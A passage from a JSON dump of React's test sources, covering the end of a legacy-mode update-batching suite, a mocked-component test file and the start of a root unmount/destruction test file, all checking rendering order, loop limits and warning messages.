desiredDidUpdates; i++) {\n        expect(didUpdates).toContain(desiredDidUpdates[i]);\n      }\n      willUpdates = [];\n      didUpdates = [];\n    }\n\n    function triggerUpdate(c) {\n      c.setState({x: 1});\n    }\n\n    function testUpdates(components, desiredWillUpdates, desiredDidUpdates) {\n      let i;\n\n      ReactDOM.unstable_batchedUpdates(function () {\n        for (i = 0; i < components.length; i++) {\n          triggerUpdate(components[i]);\n        }\n      });\n\n      expectUpdates(desiredWillUpdates, desiredDidUpdates);\n\n      // Try them in reverse order\n\n      ReactDOM.unstable_batchedUpdates(function () {\n        for (i = components.length - 1; i >= 0; i--) {\n          triggerUpdate(components[i]);\n        }\n      });\n\n      expectUpdates(desiredWillUpdates, desiredDidUpdates);\n    }\n    testUpdates(\n      [root.switcherRef.current.boxRef.current, root.switcherRef.current],\n      // Owner-child relationships have inverse will and did\n      ['Switcher', 'Box'],\n      ['Box', 'Switcher'],\n    );\n\n    testUpdates(\n      [root.childRef.current, root.switcherRef.current.boxRef.current],\n      // Not owner-child so reconcile independently\n      ['Box', 'Child'],\n      ['Box', 'Child'],\n    );\n\n    testUpdates(\n      [root.childRef.current, root.switcherRef.current],\n      // Switcher owns Box and Child, Box does not own Child\n      ['Switcher', 'Box', 'Child'],\n      ['Box', 'Switcher', 'Child'],\n    );\n  });\n\n  // @gate !disableLegacyMode && classic\n  it('should queue mount-ready handlers across different roots', () => {\n    // We'll define two components A and B, then update both of them. When A's\n    // componentDidUpdate handlers is called, B's DOM should already have been\n    // updated.\n\n    const bContainer = document.createElement('div');\n\n    let b;\n\n    let aUpdated = false;\n\n    class A extends React.Component {\n      state = {x: 0};\n\n      componentDidUpdate() {\n        expect(findDOMNode(b).textContent).toBe('B1');\n        aUpdated = true;\n      }\n\n      render() {\n        let portal = null;\n        // If we're using Fiber, we use Portals instead to achieve this.\n        portal = ReactDOM.createPortal(<B ref={n => (b = n)} />, bContainer);\n        return (\n          <div>\n            A{this.state.x}\n            {portal}\n          </div>\n        );\n      }\n    }\n\n    class B extends React.Component {\n      state = {x: 0};\n\n      render() {\n        return <div>B{this.state.x}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const a = ReactDOM.render(<A />, container);\n    ReactDOM.unstable_batchedUpdates(function () {\n      a.setState({x: 1});\n      b.setState({x: 1});\n    });\n\n    expect(aUpdated).toBe(true);\n  });\n\n  // @gate !disableLegacyMode\n  it('should flush updates in the correct order', () => {\n    const updates = [];\n\n    class Outer extends React.Component {\n      state = {x: 0};\n      innerRef = React.createRef();\n\n      render() {\n        updates.push('Outer-render-' + this.state.x);\n        return (\n          <div>\n            <Inner x={this.state.x} ref={this.innerRef} />\n          </div>\n        );\n      }\n\n      componentDidUpdate() {\n        const x = this.state.x;\n        updates.push('Outer-didUpdate-' + x);\n        updates.push('Inner-setState-' + x);\n        this.innerRef.current.setState({x: x}, function () {\n          updates.push('Inner-callback-' + x);\n        });\n      }\n    }\n\n    class Inner extends React.Component {\n      state = {x: 0};\n\n      render() {\n        updates.push('Inner-render-' + this.props.x + '-' + this.state.x);\n        return <div />;\n      }\n\n      componentDidUpdate() {\n        updates.push('Inner-didUpdate-' + this.props.x + '-' + this.state.x);\n      }\n    }\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Outer />, container);\n\n    updates.push('Outer-setState-1');\n    instance.setState({x: 1}, function () {\n      updates.push('Outer-callback-1');\n      updates.push('Outer-setState-2');\n      instance.setState({x: 2}, function () {\n        updates.push('Outer-callback-2');\n      });\n    });\n\n    expect(updates).toEqual([\n      'Outer-render-0',\n      'Inner-render-0-0',\n\n      'Outer-setState-1',\n      'Outer-render-1',\n      'Inner-render-1-0',\n      'Inner-didUpdate-1-0',\n      'Outer-didUpdate-1',\n      // Happens in a batch, so don't re-render yet\n      'Inner-setState-1',\n      'Outer-callback-1',\n\n      // Happens in a batch\n      'Outer-setState-2',\n\n      // Flush batched updates all at once\n      'Outer-render-2',\n      'Inner-render-2-1',\n      'Inner-didUpdate-2-1',\n      'Inner-callback-1',\n      'Outer-didUpdate-2',\n      'Inner-setState-2',\n      'Outer-callback-2',\n      'Inner-render-2-2',\n      'Inner-didUpdate-2-2',\n      'Inner-callback-2',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should flush updates in the correct order across roots', () => {\n    const instances = [];\n    const updates = [];\n\n    class MockComponent extends React.Component {\n      render() {\n        updates.push(this.props.depth);\n        return <div />;\n      }\n\n      componentDidMount() {\n        instances.push(this);\n        if (this.props.depth < this.props.count) {\n          ReactDOM.render(\n            <MockComponent\n              depth={this.props.depth + 1}\n              count={this.props.count}\n            />,\n            findDOMNode(this),\n          );\n        }\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(<MockComponent depth={0} count={2} />, container);\n\n    expect(updates).toEqual([0, 1, 2]);\n\n    ReactDOM.unstable_batchedUpdates(function () {\n      // Simulate update on each component from top to bottom.\n      instances.forEach(function (instance) {\n        instance.forceUpdate();\n      });\n    });\n\n    expect(updates).toEqual([0, 1, 2, 0, 1, 2]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should queue nested updates', () => {\n    // See https://github.com/facebook/react/issues/1147\n\n    class X extends React.Component {\n      state = {s: 0};\n\n      render() {\n        if (this.state.s === 0) {\n          return (\n            <div>\n              <span>0</span>\n            </div>\n          );\n        } else {\n          return <div>1</div>;\n        }\n      }\n\n      go = () => {\n        this.setState({s: 1});\n        this.setState({s: 0});\n        this.setState({s: 1});\n      };\n    }\n\n    class Y extends React.Component {\n      render() {\n        return (\n          <div>\n            <Z />\n          </div>\n        );\n      }\n    }\n\n    class Z extends React.Component {\n      render() {\n        return <div />;\n      }\n\n      UNSAFE_componentWillUpdate() {\n        x.go();\n      }\n    }\n\n    let container = document.createElement('div');\n    const x = ReactDOM.render(<X />, container);\n    container = document.createElement('div');\n    const y = ReactDOM.render(<Y />, container);\n    expect(findDOMNode(x).textContent).toBe('0');\n\n    y.forceUpdate();\n    expect(findDOMNode(x).textContent).toBe('1');\n  });\n\n  // @gate !disableLegacyMode\n  it('should queue updates from during mount', () => {\n    // See https://github.com/facebook/react/issues/1353\n    let a;\n\n    class A extends React.Component {\n      state = {x: 0};\n\n      UNSAFE_componentWillMount() {\n        a = this;\n      }\n\n      render() {\n        return <div>A{this.state.x}</div>;\n      }\n    }\n\n    class B extends React.Component {\n      UNSAFE_componentWillMount() {\n        a.setState({x: 1});\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    ReactDOM.unstable_batchedUpdates(function () {\n      const container = document.createElement('div');\n\n      ReactDOM.render(\n        <div>\n          <A />\n          <B />\n        </div>,\n        container,\n      );\n    });\n\n    expect(a.state.x).toBe(1);\n    expect(findDOMNode(a).textContent).toBe('A1');\n  });\n\n  // @gate !disableLegacyMode\n  it('calls componentWillReceiveProps setState callback properly', () => {\n    let callbackCount = 0;\n\n    class A extends React.Component {\n      state = {x: this.props.x};\n\n      UNSAFE_componentWillReceiveProps(nextProps) {\n        const newX = nextProps.x;\n        this.setState({x: newX}, function () {\n          // State should have updated by the time this callback gets called\n          expect(this.state.x).toBe(newX);\n          callbackCount++;\n        });\n      }\n\n      render() {\n        return <div>{this.state.x}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(<A x={1} />, container);\n    ReactDOM.render(<A x={2} />, container);\n    expect(callbackCount).toBe(1);\n  });\n\n  // @gate !disableLegacyMode && classic\n  it('does not call render after a component as been deleted', () => {\n    let renderCount = 0;\n    let componentB = null;\n\n    class B extends React.Component {\n      state = {updates: 0};\n\n      componentDidMount() {\n        componentB = this;\n      }\n\n      render() {\n        renderCount++;\n        return <div />;\n      }\n    }\n\n    class A extends React.Component {\n      state = {showB: true};\n\n      render() {\n        return this.state.showB ? <B /> : <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const component = ReactDOM.render(<A />, container);\n\n    ReactDOM.unstable_batchedUpdates(function () {\n      // B will have scheduled an update but the batching should ensure that its\n      // update never fires.\n      componentB.setState({updates: 1});\n      component.setState({showB: false});\n    });\n\n    expect(renderCount).toBe(1);\n  });\n\n  // @gate !disableLegacyMode\n  it('throws in setState if the update callback is not a function', async () => {\n    function Foo() {\n      this.a = 1;\n      this.b = 2;\n    }\n\n    class A extends React.Component {\n      state = {};\n\n      render() {\n        return <div />;\n      }\n    }\n\n    let container = document.createElement('div');\n    let component = ReactDOM.render(<A />, container);\n\n    await expect(async () => {\n      await act(() => {\n        component.setState({}, 'no');\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. ' +\n        'Instead received: no',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be ' +\n        'a function. Instead received: no.',\n    ]);\n\n    container = document.createElement('div');\n    component = ReactDOM.render(<A />, container);\n    await expect(async () => {\n      await act(() => {\n        component.setState({}, {foo: 'bar'});\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be a function. ' +\n        \"Instead received: { foo: 'bar' }.\",\n    ]);\n    // Make sure the warning is deduplicated and doesn't fire again\n    container = document.createElement('div');\n    component = ReactDOM.render(<A />, container);\n    await expect(async () => {\n      await act(() => {\n        component.setState({}, new Foo());\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('throws in forceUpdate if the update callback is not a function', async () => {\n    function Foo() {\n      this.a = 1;\n      this.b = 2;\n    }\n\n    class A extends React.Component {\n      state = {};\n\n      render() {\n        return <div />;\n      }\n    }\n\n    let container = document.createElement('div');\n    let component = ReactDOM.render(<A />, container);\n\n    await expect(async () => {\n      await act(() => {\n        component.forceUpdate('no');\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: no',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be a function. ' +\n        'Instead received: no.',\n    ]);\n    container = document.createElement('div');\n    component = ReactDOM.render(<A />, container);\n    await expect(async () => {\n      await act(() => {\n        component.forceUpdate({foo: 'bar'});\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be a function. ' +\n        \"Instead received: { foo: 'bar' }.\",\n    ]);\n    // Make sure the warning is deduplicated and doesn't fire again\n    container = document.createElement('div');\n    component = ReactDOM.render(<A />, container);\n    await expect(async () => {\n      await act(() => {\n        component.forceUpdate(new Foo());\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('does not update one component twice in a batch (#2410)', () => {\n    class Parent extends React.Component {\n      childRef = React.createRef();\n\n      getChild = () => {\n        return this.childRef.current;\n      };\n\n      render() {\n        return <Child ref={this.childRef} />;\n      }\n    }\n\n    let renderCount = 0;\n    let postRenderCount = 0;\n    let once = false;\n\n    class Child extends React.Component {\n      state = {updated: false};\n\n      UNSAFE_componentWillUpdate() {\n        if (!once) {\n          once = true;\n          this.setState({updated: true});\n        }\n      }\n\n      componentDidMount() {\n        expect(renderCount).toBe(postRenderCount + 1);\n        postRenderCount++;\n      }\n\n      componentDidUpdate() {\n        expect(renderCount).toBe(postRenderCount + 1);\n        postRenderCount++;\n      }\n\n      render() {\n        expect(renderCount).toBe(postRenderCount);\n        renderCount++;\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const parent = ReactDOM.render(<Parent />, container);\n    const child = parent.getChild();\n    ReactDOM.unstable_batchedUpdates(function () {\n      parent.forceUpdate();\n      child.forceUpdate();\n    });\n  });\n\n  // @gate !disableLegacyMode\n  it('does not update one component twice in a batch (#6371)', () => {\n    let callbacks = [];\n    function emitChange() {\n      callbacks.forEach(c => c());\n    }\n\n    class App extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {showChild: true};\n      }\n      componentDidMount() {\n        this.setState({showChild: false});\n      }\n      render() {\n        return (\n          <div>\n            <ForceUpdatesOnChange />\n            {this.state.showChild && <EmitsChangeOnUnmount />}\n          </div>\n        );\n      }\n    }\n\n    class EmitsChangeOnUnmount extends React.Component {\n      componentWillUnmount() {\n        emitChange();\n      }\n      render() {\n        return null;\n      }\n    }\n\n    class ForceUpdatesOnChange extends React.Component {\n      componentDidMount() {\n        this.onChange = () => this.forceUpdate();\n        this.onChange();\n        callbacks.push(this.onChange);\n      }\n      componentWillUnmount() {\n        callbacks = callbacks.filter(c => c !== this.onChange);\n      }\n      render() {\n        return <div key={Math.random()} onClick={function () {}} />;\n      }\n    }\n\n    ReactDOM.render(<App />, document.createElement('div'));\n  });\n\n  it('unstable_batchedUpdates should return value from a callback', () => {\n    const result = ReactDOM.unstable_batchedUpdates(function () {\n      return 42;\n    });\n    expect(result).toEqual(42);\n  });\n\n  // @gate !disableLegacyMode\n  it('unmounts and remounts a root in the same batch', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(<span>a</span>, container);\n    ReactDOM.unstable_batchedUpdates(function () {\n      ReactDOM.unmountComponentAtNode(container);\n      ReactDOM.render(<span>b</span>, container);\n    });\n    expect(container.textContent).toBe('b');\n  });\n\n  // @gate !disableLegacyMode\n  it('handles reentrant mounting in synchronous mode', () => {\n    let mounts = 0;\n    class Editor extends React.Component {\n      render() {\n        return <div>{this.props.text}</div>;\n      }\n      componentDidMount() {\n        mounts++;\n        // This should be called only once but we guard just in case.\n        if (!this.props.rendered) {\n          this.props.onChange({rendered: true});\n        }\n      }\n    }\n\n    const container = document.createElement('div');\n    function render() {\n      ReactDOM.render(\n        <Editor\n          onChange={newProps => {\n            props = {...props, ...newProps};\n            render();\n          }}\n          {...props}\n        />,\n        container,\n      );\n    }\n\n    let props = {text: 'hello', rendered: false};\n    render();\n    props = {...props, text: 'goodbye'};\n    render();\n    expect(container.textContent).toBe('goodbye');\n    expect(mounts).toBe(1);\n  });\n\n  // @gate !disableLegacyMode\n  it('mounts and unmounts are sync even in a batch', () => {\n    const ops = [];\n    const container = document.createElement('div');\n    ReactDOM.unstable_batchedUpdates(() => {\n      ReactDOM.render(<div>Hello</div>, container);\n      ops.push(container.textContent);\n      ReactDOM.unmountComponentAtNode(container);\n      ops.push(container.textContent);\n    });\n    expect(ops).toEqual(['Hello', '']);\n  });\n\n  // @gate !disableLegacyMode\n  it(\n    'in legacy mode, updates in componentWillUpdate and componentDidUpdate ' +\n      'should both flush in the immediately subsequent commit',\n    () => {\n      const ops = [];\n      class Foo extends React.Component {\n        state = {a: false, b: false};\n        UNSAFE_componentWillUpdate(_, nextState) {\n          if (!nextState.a) {\n            this.setState({a: true});\n          }\n        }\n        componentDidUpdate() {\n          ops.push('Foo updated');\n          if (!this.state.b) {\n            this.setState({b: true});\n          }\n        }\n        render() {\n          ops.push(`a: ${this.state.a}, b: ${this.state.b}`);\n          return null;\n        }\n      }\n\n      const container = document.createElement('div');\n      // Mount\n      ReactDOM.render(<Foo />, container);\n      // Root update\n      ReactDOM.render(<Foo />, container);\n      expect(ops).toEqual([\n        // Mount\n        'a: false, b: false',\n        // Root update\n        'a: false, b: false',\n        'Foo updated',\n        // Subsequent update (both a and b should have flushed)\n        'a: true, b: true',\n        'Foo updated',\n        // There should not be any additional updates\n      ]);\n    },\n  );\n\n  // @gate !disableLegacyMode\n  it(\n    'in legacy mode, updates in componentWillUpdate and componentDidUpdate ' +\n      '(on a sibling) should both flush in the immediately subsequent commit',\n    () => {\n      const ops = [];\n      class Foo extends React.Component {\n        state = {a: false};\n        UNSAFE_componentWillUpdate(_, nextState) {\n          if (!nextState.a) {\n            this.setState({a: true});\n          }\n        }\n        componentDidUpdate() {\n          ops.push('Foo updated');\n        }\n        render() {\n          ops.push(`a: ${this.state.a}`);\n          return null;\n        }\n      }\n\n      class Bar extends React.Component {\n        state = {b: false};\n        componentDidUpdate() {\n          ops.push('Bar updated');\n          if (!this.state.b) {\n            this.setState({b: true});\n          }\n        }\n        render() {\n          ops.push(`b: ${this.state.b}`);\n          return null;\n        }\n      }\n\n      const container = document.createElement('div');\n      // Mount\n      ReactDOM.render(\n        <div>\n          <Foo />\n          <Bar />\n        </div>,\n        container,\n      );\n      // Root update\n      ReactDOM.render(\n        <div>\n          <Foo />\n          <Bar />\n        </div>,\n        container,\n      );\n      expect(ops).toEqual([\n        // Mount\n        'a: false',\n        'b: false',\n        // Root update\n        'a: false',\n        'b: false',\n        'Foo updated',\n        'Bar updated',\n        // Subsequent update (both a and b should have flushed)\n        'a: true',\n        'b: true',\n        'Foo updated',\n        'Bar updated',\n        // There should not be any additional updates\n      ]);\n    },\n  );\n\n  // @gate !disableLegacyMode\n  it('uses correct base state for setState inside render phase', () => {\n    const ops = [];\n\n    class Foo extends React.Component {\n      state = {step: 0};\n      render() {\n        const memoizedStep = this.state.step;\n        this.setState(baseState => {\n          const baseStep = baseState.step;\n          ops.push(`base: ${baseStep}, memoized: ${memoizedStep}`);\n          return baseStep === 0 ? {step: 1} : null;\n        });\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(<Foo />, container);\n    assertConsoleErrorDev([\n      'Cannot update during an existing state transition (such as within `render`). ' +\n        'Render methods should be a pure function of props and state.\\n' +\n        '    in Foo (at **)',\n    ]);\n    expect(ops).toEqual(['base: 0, memoized: 0', 'base: 1, memoized: 1']);\n  });\n\n  // @gate !disableLegacyMode\n  it('does not re-render if state update is null', () => {\n    const container = document.createElement('div');\n\n    let instance;\n    let ops = [];\n    class Foo extends React.Component {\n      render() {\n        instance = this;\n        ops.push('render');\n        return <div />;\n      }\n    }\n    ReactDOM.render(<Foo />, container);\n\n    ops = [];\n    instance.setState(() => null);\n    expect(ops).toEqual([]);\n  });\n\n  // Will change once we switch to async by default\n  // @gate !disableLegacyMode\n  it('synchronously renders hidden subtrees', () => {\n    const container = document.createElement('div');\n    let ops = [];\n\n    function Baz() {\n      ops.push('Baz');\n      return null;\n    }\n\n    function Bar() {\n      ops.push('Bar');\n      return null;\n    }\n\n    function Foo() {\n      ops.push('Foo');\n      return (\n        <div>\n          <div hidden={true}>\n            <Bar />\n          </div>\n          <Baz />\n        </div>\n      );\n    }\n\n    // Mount\n    ReactDOM.render(<Foo />, container);\n    expect(ops).toEqual(['Foo', 'Bar', 'Baz']);\n    ops = [];\n\n    // Update\n    ReactDOM.render(<Foo />, container);\n    expect(ops).toEqual(['Foo', 'Bar', 'Baz']);\n  });\n\n  // @gate !disableLegacyMode\n  it('can render ridiculously large number of roots without triggering infinite update loop error', () => {\n    class Foo extends React.Component {\n      componentDidMount() {\n        const limit = 1200;\n        for (let i = 0; i < limit; i++) {\n          if (i < limit - 1) {\n            ReactDOM.render(<div />, document.createElement('div'));\n          } else {\n            ReactDOM.render(<div />, document.createElement('div'), () => {\n              // The \"nested update limit\" error isn't thrown until setState\n              this.setState({});\n            });\n          }\n        }\n      }\n      render() {\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(<Foo />, container);\n  });\n\n  // @gate !disableLegacyMode\n  it('resets the update counter for unrelated updates', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n\n    class EventuallyTerminating extends React.Component {\n      state = {step: 0};\n      componentDidMount() {\n        this.setState({step: 1});\n      }\n      componentDidUpdate() {\n        if (this.state.step < limit) {\n          this.setState({step: this.state.step + 1});\n        }\n      }\n      render() {\n        return this.state.step;\n      }\n    }\n\n    let limit = 55;\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<EventuallyTerminating ref={ref} />, container);\n      });\n    }).rejects.toThrow('Maximum');\n\n    // Verify that we don't go over the limit if these updates are unrelated.\n    limit -= 10;\n    ReactDOM.render(<EventuallyTerminating ref={ref} />, container);\n    expect(container.textContent).toBe(limit.toString());\n    ref.current.setState({step: 0});\n    expect(container.textContent).toBe(limit.toString());\n    ref.current.setState({step: 0});\n    expect(container.textContent).toBe(limit.toString());\n\n    limit += 10;\n    await expect(async () => {\n      await act(() => {\n        ref.current.setState({step: 0});\n      });\n    }).rejects.toThrow('Maximum');\n    expect(ref.current).toBe(null);\n  });\n\n  // @gate !disableLegacyMode\n  it('does not fall into an infinite update loop', async () => {\n    class NonTerminating extends React.Component {\n      state = {step: 0};\n      componentDidMount() {\n        this.setState({step: 1});\n      }\n      UNSAFE_componentWillUpdate() {\n        this.setState({step: 2});\n      }\n      render() {\n        return (\n          <div>\n            Hello {this.props.name}\n            {this.state.step}\n          </div>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<NonTerminating />, container);\n      });\n    }).rejects.toThrow('Maximum');\n  });\n\n  // @gate !disableLegacyMode\n  it('does not fall into an infinite update loop with useLayoutEffect', async () => {\n    function NonTerminating() {\n      const [step, setStep] = React.useState(0);\n      React.useLayoutEffect(() => {\n        setStep(x => x + 1);\n      });\n      return step;\n    }\n\n    const container = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<NonTerminating />, container);\n      });\n    }).rejects.toThrow('Maximum');\n  });\n\n  // @gate !disableLegacyMode\n  it('can recover after falling into an infinite update loop', async () => {\n    class NonTerminating extends React.Component {\n      state = {step: 0};\n      componentDidMount() {\n        this.setState({step: 1});\n      }\n      componentDidUpdate() {\n        this.setState({step: 2});\n      }\n      render() {\n        return this.state.step;\n      }\n    }\n\n    class Terminating extends React.Component {\n      state = {step: 0};\n      componentDidMount() {\n        this.setState({step: 1});\n      }\n      render() {\n        return this.state.step;\n      }\n    }\n\n    const container = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<NonTerminating />, container);\n      });\n    }).rejects.toThrow('Maximum');\n\n    ReactDOM.render(<Terminating />, container);\n    expect(container.textContent).toBe('1');\n\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<NonTerminating />, container);\n      });\n    }).rejects.toThrow('Maximum');\n\n    ReactDOM.render(<Terminating />, container);\n    expect(container.textContent).toBe('1');\n  });\n\n  // @gate !disableLegacyMode\n  it('does not fall into mutually recursive infinite update loop with same container', async () => {\n    // Note: this test would fail if there were two or more different roots.\n\n    class A extends React.Component {\n      componentDidMount() {\n        ReactDOM.render(<B />, container);\n      }\n      render() {\n        return null;\n      }\n    }\n\n    class B extends React.Component {\n      componentDidMount() {\n        ReactDOM.render(<A />, container);\n      }\n      render() {\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<A />, container);\n      });\n    }).rejects.toThrow('Maximum');\n  });\n\n  // @gate !disableLegacyMode\n  it('does not fall into an infinite error loop', async () => {\n    function BadRender() {\n      throw new Error('error');\n    }\n\n    class ErrorBoundary extends React.Component {\n      componentDidCatch() {\n        // Schedule a no-op state update to avoid triggering a DEV warning in the test.\n        this.setState({});\n\n        this.props.parent.remount();\n      }\n      render() {\n        return <BadRender />;\n      }\n    }\n\n    class NonTerminating extends React.Component {\n      state = {step: 0};\n      remount() {\n        this.setState(state => ({step: state.step + 1}));\n      }\n      render() {\n        return <ErrorBoundary key={this.state.step} parent={this} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<NonTerminating />, container);\n      });\n    }).rejects.toThrow('Maximum');\n  });\n\n  // @gate !disableLegacyMode\n  it('can schedule ridiculously many updates within the same batch without triggering a maximum update error', () => {\n    const subscribers = [];\n\n    class Child extends React.Component {\n      state = {value: 'initial'};\n      componentDidMount() {\n        subscribers.push(this);\n      }\n      render() {\n        return null;\n      }\n    }\n\n    class App extends React.Component {\n      render() {\n        const children = [];\n        for (let i = 0; i < 1200; i++) {\n          children.push(<Child key={i} />);\n        }\n        return children;\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(<App />, container);\n\n    ReactDOM.unstable_batchedUpdates(() => {\n      subscribers.forEach(s => {\n        s.setState({value: 'update'});\n      });\n    });\n  });\n\n  // TODO: Replace this branch with @gate pragmas\n  if (__DEV__) {\n    // @gate !disableLegacyMode\n    it('can have nested updates if they do not cross the limit', async () => {\n      let _setStep;\n      const LIMIT = 50;\n\n      function Terminating() {\n        const [step, setStep] = React.useState(0);\n        _setStep = setStep;\n        React.useEffect(() => {\n          if (step < LIMIT) {\n            setStep(x => x + 1);\n          }\n        });\n        Scheduler.log(step);\n        return step;\n      }\n\n      const container = document.createElement('div');\n      await act(() => {\n        ReactDOM.render(<Terminating />, container);\n      });\n      assertLog(Array.from({length: LIMIT + 1}, (_, k) => k));\n      expect(container.textContent).toBe('50');\n      await act(() => {\n        _setStep(0);\n      });\n      expect(container.textContent).toBe('50');\n    });\n\n    // @gate !disableLegacyMode\n    it('can have many updates inside useEffect without triggering a warning', async () => {\n      function Terminating() {\n        const [step, setStep] = React.useState(0);\n        React.useEffect(() => {\n          for (let i = 0; i < 1000; i++) {\n            setStep(x => x + 1);\n          }\n          Scheduler.log('Done');\n        }, []);\n        return step;\n      }\n\n      const container = document.createElement('div');\n      await act(() => {\n        ReactDOM.render(<Terminating />, container);\n      });\n\n      assertLog(['Done']);\n      expect(container.textContent).toBe('1000');\n    });\n  }\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactMockedComponent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\nlet MockedComponent;\nlet ReactDOMServer;\n\ndescribe('ReactMockedComponent', () => {\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n\n    MockedComponent = class extends React.Component {\n      render() {\n        throw new Error('Should not get here.');\n      }\n    };\n    // This is close enough to what a Jest mock would give us.\n    MockedComponent.prototype.render = jest.fn();\n  });\n\n  it('should allow a mocked component to be rendered', async () => {\n    const container = document.createElement('container');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<MockedComponent />);\n    });\n  });\n\n  it('should allow a mocked component to be updated in dev', async () => {\n    const container = document.createElement('container');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<MockedComponent />);\n    });\n    await act(() => {\n      root.render(<MockedComponent />);\n    });\n  });\n\n  it('should allow a mocked component to be rendered in dev (SSR)', () => {\n    ReactDOMServer.renderToString(<MockedComponent />);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactMountDestruction-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst React = require('react');\nconst ReactDOM = require('react-dom');\nconst ReactDOMClient = require('react-dom/client');\nconst act = require('internal-test-utils').act;\nconst assertConsoleErrorDev =\n  require('internal-test-utils').assertConsoleErrorDev;\n\ndescribe('ReactMount', () => {\n  it('should destroy a react root upon request', async () => {\n    const mainContainerDiv = document.createElement('div');\n    document.body.appendChild(mainContainerDiv);\n\n    const instanceOne = <div className=\"firstReactDiv\" />;\n    const firstRootDiv = document.createElement('div');\n    mainContainerDiv.appendChild(firstRootDiv);\n    const firstRoot = ReactDOMClient.createRoot(firstRootDiv);\n    await act(() => {\n      firstRoot.render(instanceOne);\n    });\n\n    const instanceTwo = <div className=\"secondReactDiv\" />;\n    const secondRootDiv = document.createElement('div');\n    mainContainerDiv.appendChild(secondRootDiv);\n    const secondRoot = ReactDOMClient.createRoot(secondRootDiv);\n    await act(() => {\n      secondRoot.render(instanceTwo);\n    });\n\n    // Test that two react roots are rendered in isolation\n    expect(firstRootDiv.firstChild.className).toBe('firstReactDiv');\n    expect(secondRootDiv.firstChild.className).toBe('secondReactDiv');\n\n    // Test that after unmounting each, they are no longer in the document.\n    await act(() => {\n      firstRoot.unmount();\n    });\n    expect(firstRootDiv.firstChild).toBeNull();\n    await act(() => {\n      secondRoot.unmount();\n    });\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn when unmounting a non-container root node', () => {\n    const mainContainerDiv = document.createElement('div');\n\n    const component = (\n      <div>\n        <div />\n      </div>\n    );\n    // Cannot be migrated to createRoot until we remove unmountComponentAtNode i.e. remove this test.\n    ReactDOM.render(component, mainContainerDiv);\n\n    // Test that unmounting at a root node gives a helpful warning\n    const rootDiv = mainContainerDiv.firstChild;\n    ReactDOM.unmountComponentAtNode(rootDiv);\n    assertConsoleErrorDev([\n      \"unmountComponentAtNode(): The node you're attempting to \" +\n        'unmount was rendered by React and is not a top-level container. You ' +\n        'may have accidentally passed in a React root node instead of its ' +\n        'container.',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn when unmounting a non-container, non-root node', () => {\n    const mainContainerDiv = document.createElement('div');\n\n    const component = (\n      <div>\n        <div>\n          <div />\n        </div>\n      </div>\n    );\n    // Cannot be migrated to createRoot until we remove unmountComponentAtNode i.e. remove this test.\n    ReactDOM.render(component, mainContainerDiv);\n\n    // Test that unmounting at a non-root node gives a different warning\n    const nonRootDiv = mainContainerDiv.firstChild.firstChild;\n    ReactDOM.unmountComponentAtNode(nonRootDiv);\n    assertConsoleErrorDev([\n      \"unmountComponentAtNode(): The node you're attempting to \" +\n        'unmount was rendered by React and is not a top-level container. ' +\n        'Instead, have the parent component update its state and rerender in ' +\n        'order to remove this component.',\n    